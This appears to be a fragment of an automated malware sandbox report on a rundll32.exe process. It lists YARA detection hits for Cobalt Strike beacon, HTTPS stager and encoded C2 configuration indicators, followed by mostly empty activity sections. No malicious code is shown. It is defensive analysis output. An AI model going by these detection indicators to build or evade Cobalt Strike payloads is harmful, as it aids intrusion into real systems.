Rule: Cobaltbaltstrike_Beacon_x64, Description: Detects CobaltStrike payloads, Source: 
00000006.00000003.360377779.0000017B0DF20000.00000040.00001000.00020000.00000000.sdmp, Author: Avast Threat Intel Team
Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 
00000006.00000003.360377779.0000017B0DF20000.00000040.00001000.00020000.00000000.sdmp, Author: FireEye
Rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator, Description: Detects CobaltStrike C2 encoded profile configuration, Source: 
00000006.00000003.360377779.0000017B0DF20000.00000040.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net
Rule: CobaltStrike_MZ_Launcher, Description: Detects CobaltStrike MZ header ReflectiveLoader launcher, Source: 
00000006.00000003.360377779.0000017B0DF20000.00000040.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net
Rule: SUSP_XORed_Mozilla, Description: Detects suspicious XORed keyword - Mozilla/5.0, Source: 
00000006.00000003.360377779.0000017B0DF20000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 
00000006.00000003.360377779.0000017B0DF20000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_CobaltStrike_4, Description: Yara detected CobaltStrike, Source: 
00000006.00000003.360377779.0000017B0DF20000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Cobaltbaltstrike_RAW_Payload_https_stager_x64, Description: Detects CobaltStrike payloads, Source: 
00000006.00000002.860031988.0000017B0C2B0000.00000040.00001000.00020000.00000000.sdmp, Author: Avast Threat Intel Team
Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 
00000006.00000002.860031988.0000017B0C2B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

Reputation: high

File Activities

Analysis Process: rundll32.exe PID: 6176, Parent PID: 7128

General
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There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

⊘ No disassembly

File Activities

Disassembly
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